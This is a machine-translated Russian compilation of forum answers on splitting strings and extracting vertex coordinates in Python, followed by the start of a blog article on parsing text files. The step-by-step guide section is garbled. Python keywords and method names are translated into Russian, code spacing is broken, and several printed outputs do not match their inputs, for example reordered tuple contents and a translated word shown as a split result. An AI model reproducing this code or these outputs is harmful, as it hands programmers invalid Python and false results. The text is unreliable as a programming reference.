ΠŸΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, Ρƒ вас Π΅ΡΡ‚ΡŒ тСкстовый Ρ„Π°ΠΉΠ» my file.txt с вашими Π΄Π°Π½Π½Ρ‹ΠΌΠΈ Π² Π½Π΅ΠΌ. И Π΄Π°Π²Π°ΠΉΡ‚Π΅ Π΄Π°Π΄ΠΈΠΌ ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΈΠ· элСмСнтов Π² строкС:

marker = $
label = vertex OR track OR begin, etc
x = your x value
y = your y value
z = your z value
eol = the last value on the vertex line

Читая ΠΊΠ°ΠΆΠ΄ΡƒΡŽ строку, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ, содСрТит Π»ΠΈ строка Ρ‚Π΅Ρ€ΠΌΠΈΠ½ Β«Π²Π΅Ρ€ΡˆΠΈΠ½Π°Β».

Если это ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, ΠΌΡ‹ Π·Π°Ρ‚Π΅ΠΌ Ρ€Π°Π·Π΄Π΅Π»ΠΈΠΌ эту строку, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ split (ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, split Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π·Π±ΠΈΠ²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π΅Π», Π½ΠΎ Π΄Π°Π²Π°ΠΉΡ‚Π΅ явно Π²Ρ‹Π·ΠΎΠ²Π΅ΠΌ Ρ‚ΠΎ, Π½Π° Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Ρ€Π°Π·Π±ΠΈΡ‚ΡŒ (Ρ‚. Π•. »). Split создаСт список элСмСнтов.

ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ распаковку ΠΊΠΎΡ€Ρ‚Π΅ΠΆΠ΅ΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ элСмСнт ΠΈΠ· списка ΠΈ Π½Π°Π·Π½Π°Ρ‡ΠΈΡ‚ΡŒ ΠΈΠΌ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΌΠ΅Ρ‚ΠΊΠΈ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ наш ΠΊΠΎΠ΄ Π±Ρ‹Π» Π±ΠΎΠ»Π΅Π΅ Ρ‡ΠΈΡ‚Π°Π±Π΅Π»ΡŒΠ½Ρ‹ΠΌ. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π°ΠΏΠ΅Ρ‡Π°Ρ‚Π°Ρ‚ΡŒ значСния. Π’ вашСм случаС Π²Ρ‹, вСроятно, Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈΠ»ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ эти значСния … просто Π·Π°ΠΌΠ΅Π½ΠΈΡ‚Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ ΠΏΠ΅Ρ‡Π°Ρ‚ΠΈ Π½Π° ваш ΠΊΠΎΠ΄ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ.

file = open('myfile.txt')
for line in file:
    if 'vertex' in line:
        fields = line.split(' ')
        marker, tag, x, y, z, eol = fields
        print(x, y, z)

2

E. Ducateme
14 Апр 2017 Π² 21:18

Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ рСгулярныС выраТСния здСсь.

patern = re.compile("\n\n")
print patern.split(content)

ОбъяснСниС: Π­Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΊΠ°Ρ‚ΡŒ шаблон Π΄Π²ΡƒΡ… ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… символов Π½ΠΎΠ²ΠΎΠΉ строки Π² вашСй строкС ΠΈ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½Π° массив с этим шаблоном

НапримСр:

   with open('data.txt', 'r') as myfile:
       str=myfile.read()
       #str="hello world \n line 1 \n line 2 \n\n line 3 line 4 \n line 5"
       print str
       patern = re.compile("\n\n")
       print patern.split(str)

Π Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚: [‘ΠΏΡ€ΠΈΠ²Π΅Ρ‚ ΠΌΠΈΡ€ \ n строка 1 \ n строка 2’, ‘строка 3 строка 4 \ n строка 5’]

2

alpeshpandya
14 Апр 2017 Π² 21:15

ΠšΠΎΡ€ΠΎΡ‚ΠΊΠΈΠΉ ΠΈ сладкий с прикосновСниСм ΠΈΠ»ΠΈ re

import re
verticies = re.findall('\$ vertex (\S+) (\S+) (\S+) 0', open('t.data').read())
print verticies

Π”Π°Π΅Ρ‚:

[('-1285.6', '-226.2', '-538.7'), ('-1265.3', '573.1', '1547.7')]

0

sotapme
14 Апр 2017 Π² 21:46

import csv

with open('data.txt','r') as f:
     text = f.readlines()
for line in text:
    if 'vertex' in line:
        fields = line.split(' ')
        print(fields[2],fields[3],fields[4]) 

1

Teja
14 Апр 2017 Π² 21:22

43419255

Как я ΠΌΠΎΠ³Ρƒ Ρ€Π°Π·Π±ΠΈΡ‚ΡŒ ΠΈ ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ строку Π² Python?

ПошаговоС руководство ΠΏΠΎ синтаксичСскому Π°Π½Π°Π»ΠΈΠ·Ρƒ строки Python

Π Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ строку Π½Π° ΠΏΡ€ΠΎΠ±Π΅Π», ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ список, ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ Π΅Π³ΠΎ Ρ‚ΠΈΠΏ, Ρ€Π°ΡΠΏΠ΅Ρ‡Π°Ρ‚Π°Ρ‚ΡŒ:

  el @ apollo: ~ / foo $ python
>>> mystring = "Π§Ρ‚ΠΎ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ лиса?"

>>> mylist = mystring.split ("")

>>> Ρ‚ΠΈΠΏ ΠΏΠ΅Ρ‡Π°Ρ‚ΠΈ (ΠΌΠΎΠΉ список)
<Ρ‚ΠΈΠΏ 'список'>

>>> Ρ€Π°ΡΠΏΠ΅Ρ‡Π°Ρ‚Π°Ρ‚ΡŒ ΠΌΠΎΠΉ список
['Π§Ρ‚ΠΎ Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ лиса?']
  

Если Ρƒ вас Π΅ΡΡ‚ΡŒ Π΄Π²Π° раздСлитСля рядом Π΄Ρ€ΡƒΠ³ с Π΄Ρ€ΡƒΠ³ΠΎΠΌ, прСдполагаСтся пустая строка:

  el @ apollo: ~ / foo $ python
>>> mystring = "это Ρ‚Π°ΠΊ ΠΏΡƒΡˆΠΈΡΡ‚ΠΎ, я Π£ΠœΠ•Π Π£ !!!"

>>> Π½Π°ΠΏΠ΅Ρ‡Π°Ρ‚Π°ΠΉΡ‚Π΅ mystring.Ρ€Π°ΡΠΊΠΎΠ»ΠΎΡ‚ΡŒ(" ")
['Ρ‚Π°ΠΊ ΠΏΡƒΡˆΠΈΡΡ‚ΠΎ Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡƒΠΌΠ΅Ρ€Π΅Ρ‚ΡŒ!!! ']
  

Π Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ строку ΠΏΠΎ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠΈΠ²Π°Π½ΠΈΡŽ ΠΈ Π²Π·ΡΡ‚ΡŒ 5-ΠΉ элСмСнт Π² спискС:

  el @ apollo: ~ / foo $ python
>>> mystring = "Time_to_fire_up_Kowalski's_Nuclear_reactor."

>>> mystring.split ("_") [4]
"Ковальского"
  

Π‘Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ нСсколько ΠΏΡ€ΠΎΠ±Π΅Π»ΠΎΠ² Π² ΠΎΠ΄Π½ΠΎ

  el @ apollo: ~ / foo $ python
>>> mystring = 'ΡΠ²Π΅Ρ€Π½ΡƒΡ‚ΡŒ эти ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹'

>>> mycollapsedstring = ''.ΠΏΡ€ΠΈΡΠΎΠ΅Π΄ΠΈΠ½ΠΈΡ‚ΡŒΡΡ (mystring.split ())

>>> Π½Π°ΠΏΠ΅Ρ‡Π°Ρ‚Π°Ρ‚ΡŒ mycollapsedstring.split ('')
['ΡΠ²Π΅Ρ€Π½ΡƒΡ‚ΡŒ', 'эти', 'ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹']
  

Если Π²Ρ‹ Π½Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚Π΅ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ² ΠΌΠ΅Ρ‚ΠΎΠ΄Ρƒ раздСлСния Python, Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ говорится: Β«ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ΡΡ ΠΊΠ°ΠΊ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚Π΅Π»ΡŒ, ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ пустых строк Π² Π½Π°Ρ‡Π°Π»Π΅ ΠΈΠ»ΠΈ Π² ΠΊΠΎΠ½Ρ†Π΅, Ссли строка ΠΈΠΌΠ΅Π΅Ρ‚ Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹Π΅ ΠΈΠ»ΠΈ ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ±Π΅Π»Ρ‹Β».

Π”Π΅Ρ€ΠΆΠΈΡ‚Π΅ΡΡŒ Π·Π° ΡˆΠ»ΡΠΏΡ‹, ΠΏΠ°Ρ€Π½ΠΈ, ΠΏΡ€ΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΠΉΡ‚Π΅ рСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅:

  el @ apollo: ~ / foo $ python
>>> mystring = 'zzzzzzabczzzzzzdefzzzzzzzzzghizzzzzzzzzzzz'
>>> ΠΈΠΌΠΏΠΎΡ€Ρ‚ Ρ€Π΅
>>> mylist = re.split ("[a-m] +", mystring)
>>> Ρ€Π°ΡΠΏΠ΅Ρ‡Π°Ρ‚Π°Ρ‚ΡŒ ΠΌΠΎΠΉ список
['zzzzzz', 'zzzzzz', 'zzzzzzzzz', 'zzzzzzzzzzzz']
  

РСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Β«[a-m] +Β» ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ строчныС Π±ΡƒΠΊΠ²Ρ‹ ΠΎΡ‚ a Π΄ΠΎ m , Π²ΡΡ‚Ρ€Π΅Ρ‡Π°ΡŽΡ‰ΠΈΠ΅ΡΡ ΠΎΠ΄ΠΈΠ½ ΠΈΠ»ΠΈ нСсколько Ρ€Π°Π·, ΡΠΎΠ²ΠΏΠ°Π΄Π°ΡŽΡ‚ Π² качСствС раздСлитСля. re — это Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊΠ° для ΠΈΠΌΠΏΠΎΡ€Ρ‚Π°.

Или, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π΅ΠΆΠ΅Π²Ρ‹Π²Π°Ρ‚ΡŒ ΠΏΡ€Π΅Π΄ΠΌΠ΅Ρ‚Ρ‹ ΠΏΠΎ ΠΎΠ΄Π½ΠΎΠΌΡƒ:

  el @ apollo: ~ / foo $ python
>>> mystring = "Π’ этой туманности Π΅ΡΡ‚ΡŒ ΠΊΠΎΡ„Π΅"

>>> mytuple = mystring.Ρ€Π°Π·Π΄Π΅Π» ("")

>>> Ρ‚ΠΈΠΏ ΠΏΠ΅Ρ‡Π°Ρ‚ΠΈ (mytuple)
<Π²Π²Π΅Π΄ΠΈΡ‚Π΅ "ΠΊΠΎΡ€Ρ‚Π΅ΠΆ">

>>> Π½Π°ΠΏΠ΅Ρ‡Π°Ρ‚Π°Ρ‚ΡŒ mytuple
('theres', '', 'ΠΊΠΎΡ„Π΅ Π² этой туманности')

>>> вывСсти mytuple [0]
Π΅ΡΡ‚ΡŒ

>>> вывСсти mytuple [2]
ΠΊΠΎΡ„Π΅ Π² этой туманности
  

Анализ тСкста с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Python Β· vipinajayakumar

Π― Π½Π΅Π½Π°Π²ΠΈΠΆΡƒ ΠΏΠ°Ρ€ΡΠΈΡ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹, Π½ΠΎ это Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΠ½Π΅ ΠΏΡ€ΠΈΡ…ΠΎΠ΄ΠΈΠ»ΠΎΡΡŒ Π΄Π΅Π»Π°Ρ‚ΡŒ Π² Π½Π°Ρ‡Π°Π»Π΅ ΠΏΠΎΡ‡Ρ‚ΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°. Π Π°Π·Π±ΠΎΡ€ — Π΄Π΅Π»ΠΎ нСпростоС, ΠΈ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ ΠΊΠ°ΠΌΠ½Π΅ΠΌ прСткновСния для Π½ΠΎΠ²ΠΈΡ‡ΠΊΠΎΠ². Однако, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π²Ρ‹ ΠΎΡΠ²ΠΎΠΈΡ‚Π΅ΡΡŒ с синтаксичСским Π°Π½Π°Π»ΠΈΠ·ΠΎΠΌ Ρ„Π°ΠΉΠ»ΠΎΠ², Π²Π°ΠΌ большС Π½Π΅ придСтся Π±Π΅ΡΠΏΠΎΠΊΠΎΠΈΡ‚ΡŒΡΡ ΠΎΠ± этой части ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹.Π’ΠΎΡ‚ ΠΏΠΎΡ‡Π΅ΠΌΡƒ я Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΡŽ Π½ΠΎΠ²ΠΈΡ‡ΠΊΠ°ΠΌ ΠΎΡΠ²ΠΎΠΈΡ‚ΡŒΡΡ с Π°Π½Π°Π»ΠΈΠ·ΠΎΠΌ Ρ„Π°ΠΉΠ»ΠΎΠ² Π½Π° Ρ€Π°Π½Π½ΠΈΡ… этапах обучСния ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ ΠΏΡ€Π΅Π΄Π½Π°Π·Π½Π°Ρ‡Π΅Π½Π° для Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΡ… Python, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ интСрСсно Π½Π°ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ тСкстовыС Ρ„Π°ΠΉΠ»Ρ‹.

Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ я познакомлю вас со своСй систСмой парсинга Ρ„Π°ΠΉΠ»ΠΎΠ². Π― ΠΊΡ€Π°Ρ‚ΠΊΠΎ ΠΊΠΎΡΠ½ΡƒΡΡŒ синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π° Ρ„Π°ΠΉΠ»ΠΎΠ² Π² стандартных Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°Ρ…, Π½ΠΎ я Ρ…ΠΎΡ‡Ρƒ ΡΠΎΡΡ€Π΅Π΄ΠΎΡ‚ΠΎΡ‡ΠΈΡ‚ΡŒΡΡ Π½Π° синтаксичСском Π°Π½Π°Π»ΠΈΠ·Π΅ слоТных тСкстовых Ρ„Π°ΠΉΠ»ΠΎΠ². Π§Ρ‚ΠΎ я имСю Π² Π²ΠΈΠ΄Ρƒ ΠΏΠΎΠ΄ слоТным? Π§Ρ‚ΠΎ ΠΆ, ΠΌΡ‹ Π΄ΠΎ этого добСрСмся, ΠΌΠΎΠ»ΠΎΠ΄ΠΎΠΉ ΠΏΠ°Π΄Π°Π²Π°Π½.

Для справки, здСсь ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π½Π°Π±ΠΎΡ€ слайдов, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ я ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽ для ΠΏΡ€Π΅Π·Π΅Π½Ρ‚Π°Ρ†ΠΈΠΈ ΠΏΠΎ этой Ρ‚Π΅ΠΌΠ΅.Π’Π΅ΡΡŒ ΠΊΠΎΠ΄ ΠΈ ΠΎΠ±Ρ€Π°Π·Π΅Ρ† тСкста, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ я ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽ, доступны Π² ΠΌΠΎΠ΅ΠΌ Ρ€Π΅ΠΏΠΎΠ·ΠΈΡ‚ΠΎΡ€ΠΈΠΈ Github здСсь.

Π’ΠΎ-ΠΏΠ΅Ρ€Π²Ρ‹Ρ…, Π΄Π°Π²Π°ΠΉΡ‚Π΅ разбСрСмся, Π² Ρ‡Π΅ΠΌ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°. Π—Π°Ρ‡Π΅ΠΌ Π²ΠΎΠΎΠ±Ρ‰Π΅ Π½ΡƒΠΆΠ½ΠΎ Ρ€Π°Π·Π±ΠΈΡ€Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹? Π’ Π²ΠΎΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠΎΠΌ ΠΌΠΈΡ€Π΅, Π³Π΄Π΅ всС Π΄Π°Π½Π½Ρ‹Π΅ сущСствовали Π² ΠΎΠ΄Π½ΠΎΠΌ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅, ΠΌΠΎΠΆΠ½ΠΎ Π±Ρ‹Π»ΠΎ ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ всС ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ Π±ΡƒΠ΄ΡƒΡ‚ Π²Π²ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΈ Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ΡŒ эти Π΄Π°Π½Π½Ρ‹Π΅. НС Π±Ρ‹Π»ΠΎ Π±Ρ‹ нСобходимости Ρ€Π°Π·Π±ΠΈΡ€Π°Ρ‚ΡŒ Ρ„Π°ΠΉΠ»Ρ‹. Однако ΠΌΡ‹ ΠΆΠΈΠ²Π΅ΠΌ Π² ΠΌΠΈΡ€Π΅, Π³Π΄Π΅ сущСствуСт большоС Ρ€Π°Π·Π½ΠΎΠΎΠ±Ρ€Π°Π·ΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ…. НСкоторыС Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… Π»ΡƒΡ‡ΡˆΠ΅ подходят для Ρ€Π°Π·Π½Ρ‹Ρ… ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ. МоТно ΠΎΠΆΠΈΠ΄Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Π°Ρ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠ±ΡΠ»ΡƒΠΆΠΈΠ²Π°Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· этих Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ² Π΄Π°Π½Π½Ρ‹Ρ….Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Π½Π΅ΠΈΠ·Π±Π΅ΠΆΠ½ΠΎ Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ· ΠΎΠ΄Π½ΠΎΠ³ΠΎ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ для использования Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°ΠΌΠΈ. Иногда Π΄Π°Π½Π½Ρ‹Π΅ Π΄Π°ΠΆΠ΅ Π½Π΅ Π² стандартном Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ услоТняСт Π·Π°Π΄Π°Ρ‡Ρƒ.

Π˜Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ Ρ‚Π°ΠΊΠΎΠ΅ парсинг?

Π Π°Π·ΠΎΠ±Ρ€Π°Ρ‚ΡŒ
ΠΠ½Π°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ (строку ΠΈΠ»ΠΈ тСкст) Π½Π° логичСскиС синтаксичСскиС ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹.

МнС Π½Π΅ нравится ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠ΅ Π²Ρ‹ΡˆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΈΠ· ΠžΠΊΡΡ„ΠΎΡ€Π΄ΡΠΊΠΎΠ³ΠΎ словаря. Π˜Ρ‚Π°ΠΊ, Π²ΠΎΡ‚ ΠΌΠΎΠ΅ Π°Π»ΡŒΡ‚Π΅Ρ€Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅.

Π Π°Π·ΠΎΠ±Ρ€Π°Ρ‚ΡŒ
ΠŸΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Ρ… ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π° Π² Π±ΠΎΠ»Π΅Π΅ ΡƒΠ΄ΠΎΠ±Π½Ρ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚.

ИмСя Π² Π²ΠΈΠ΄Ρƒ это ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅, ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ наш Π²Π²ΠΎΠ΄ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π² любом Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅. Π˜Ρ‚Π°ΠΊ, ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ шаг, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Π΅Ρ‚Π΅ΡΡŒ с любой ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ синтаксичСского Π°Π½Π°Π»ΠΈΠ·Π°, — это ΠΏΠΎΠ½ΡΡ‚ΡŒ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π²Ρ…ΠΎΠ΄Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…. Если ΠΏΠΎΠ²Π΅Π·Π΅Ρ‚, Π±ΡƒΠ΄Π΅Ρ‚ докумСнтация, ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‰Π°Ρ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π΄Π°Π½Π½Ρ‹Ρ…. Если Π½Π΅Ρ‚, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Π°ΠΌ придСтся Ρ€Π°ΡΡˆΠΈΡ„Ρ€ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π΄Π°Π½Π½Ρ‹Ρ… ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ. Π­Ρ‚ΠΎ всСгда вСсСло.

ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ Ρ€Π°Π·Π±Π΅Ρ€Π΅Ρ‚Π΅ΡΡŒ с Π²Ρ…ΠΎΠ΄Π½Ρ‹ΠΌΠΈ Π΄Π°Π½Π½Ρ‹ΠΌΠΈ, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ шагом Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ Π±ΠΎΠ»Π΅Π΅ ΡƒΠ΄ΠΎΠ±Π½ΠΎΠ³ΠΎ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π°. Π§Ρ‚ΠΎ ΠΆ, это ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ зависит ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΏΠ»Π°Π½ΠΈΡ€ΡƒΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅.Если ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ°, Π² ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ввСсти Π΄Π°Π½Π½Ρ‹Π΅, ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ CSV, Ρ‚ΠΎ это ваш ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΠ΄ΡƒΠΊΡ‚. Для дальнСйшСго Π°Π½Π°Π»ΠΈΠ·Π° Π΄Π°Π½Π½Ρ‹Ρ… я Π½Π°ΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΡƒΡŽ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π² pandas DataFrame .

